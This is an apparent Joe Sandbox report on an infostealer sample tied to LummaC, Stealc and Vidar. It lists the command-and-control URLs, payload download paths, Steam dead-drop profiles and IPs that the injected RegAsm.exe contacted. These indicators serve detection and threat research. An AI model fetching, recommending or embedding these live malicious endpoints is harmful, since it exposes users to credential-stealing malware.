https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109FCBKorm-data;	RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/.	RegAsm.exe, 00000008.00000002.2627711510.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/7	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	RegAsm.exe, 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://5.75.211.162/freebl3.dllF	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ballotnwu.site/)S	RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stogeneratmns.shop/apiU	RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/mozglue.dllM	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://46.8.231.109/%	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869/inventory/	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php32	RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/ts1ca.crl0	RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.steampowered.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllm	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dbsmena.com/	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.EBGCAA	RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dbsmena.com/b	RegAsm.exe, 00000002.00000002.2244524947.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dbsmena.com/vdshfd.exe=	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ballotnwu.site:443/apiprofiles/76561199724331900	RegAsm.exe, 00000013.00000002.2726793130.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://5.75.211.162/freebl3.dlls	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cowod.hoptoIEBGCAA	RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:27060	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllh	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.steampowered.com/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php=2%	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://dbsmena.com/ljhgfsd.exeba	RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://player.vimeo.com	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpY	RegAsm.exe, 00000002.00000002.2264784834.0000000027430000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpp	RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
104.21.4.136	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	offensivedzvju.shop	European Union	13335	CLOUDFLARENETUS	true
172.67.162.108	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
104.21.2.13	ballotnwu.site	United States	13335	CLOUDFLARENETUS	true
172.105.54.160	dbsmena.com	United States	63949	LINODE-APLinodeLLCUS	false
5.75.211.162	unknown	Germany	24940	HETZNER-ASDE	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
172.67.208.139	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519636
Start date and time:	2024-09-26 19:04:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@34/57@14/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 85 Number of non-executed functions: 239
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:05:54	API Interceptor	4x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	46.8.231.109/c4754d4f680ead72.php
104.21.4.136	3ZD5tEC5DH.exe	Get hash	malicious	LummaC	Browse
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	3ZD5tEC5DH.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	3ZD5tEC5DH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Z09QznvZSr.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.102.49.254
fragnantbui.shop	3ZD5tEC5DH.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	104.21.7.172
	phish_alert_sp2_2.0.0.0(10).eml	Get hash	malicious	HTMLPhisher	Browse	104.22.15.225
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://uhcdenal.com/	Get hash	malicious	Unknown	Browse	104.21.80.249
	https://www.pobretv.gifts/agam	Get hash	malicious	Unknown	Browse	104.21.61.175
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://synthfinity.cbg.ru/UcIKh/#NaW5zcGVjdG9yZ2FkZ2V0QHVuZGVyY28udmVy	Get hash	malicious	Unknown	Browse	104.21.73.62
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://www.speare.com/s/cF-PLssXWEpbqwG1	Get hash	malicious	HTMLPhisher	Browse	172.67.160.199
	http://google.com	Get hash	malicious	LummaC	Browse	172.67.206.221
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	104.21.7.172
	phish_alert_sp2_2.0.0.0(10).eml	Get hash	malicious	HTMLPhisher	Browse	104.22.15.225
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://uhcdenal.com/	Get hash	malicious	Unknown	Browse	104.21.80.249
	https://www.pobretv.gifts/agam	Get hash	malicious	Unknown	Browse	104.21.61.175
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://synthfinity.cbg.ru/UcIKh/#NaW5zcGVjdG9yZ2FkZ2V0QHVuZGVyY28udmVy	Get hash	malicious	Unknown	Browse	104.21.73.62
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://www.speare.com/s/cF-PLssXWEpbqwG1	Get hash	malicious	HTMLPhisher	Browse	172.67.160.199
	http://google.com	Get hash	malicious	LummaC	Browse	172.67.206.221
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	46.8.231.109
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	104.21.7.172
	phish_alert_sp2_2.0.0.0(10).eml	Get hash	malicious	HTMLPhisher	Browse	104.22.15.225
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://uhcdenal.com/	Get hash	malicious	Unknown	Browse	104.21.80.249
	https://www.pobretv.gifts/agam	Get hash	malicious	Unknown	Browse	104.21.61.175
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://synthfinity.cbg.ru/UcIKh/#NaW5zcGVjdG9yZ2FkZ2V0QHVuZGVyY28udmVy	Get hash	malicious	Unknown	Browse	104.21.73.62
	https://zlh1lc1cc8dntbjy.umso.co/	Get hash	malicious	Unknown	Browse	172.67.190.76
	https://www.speare.com/s/cF-PLssXWEpbqwG1	Get hash	malicious	HTMLPhisher	Browse	172.67.160.199
	http://google.com	Get hash	malicious	LummaC	Browse	172.67.206.221

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	http://google.com	Get hash	malicious	LummaC	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	https://finalstepgo.com/uploads/il2.txt	Get hash	malicious	LummaC	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	https://laurachenel-my.sharepoint.com/:f:/p/durae/EqNLWpSMEBRJoccjxMrYR9cBuepxDM4GGslgNeOpyvFENQ?e=1C1jRH	Get hash	malicious	Unknown	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
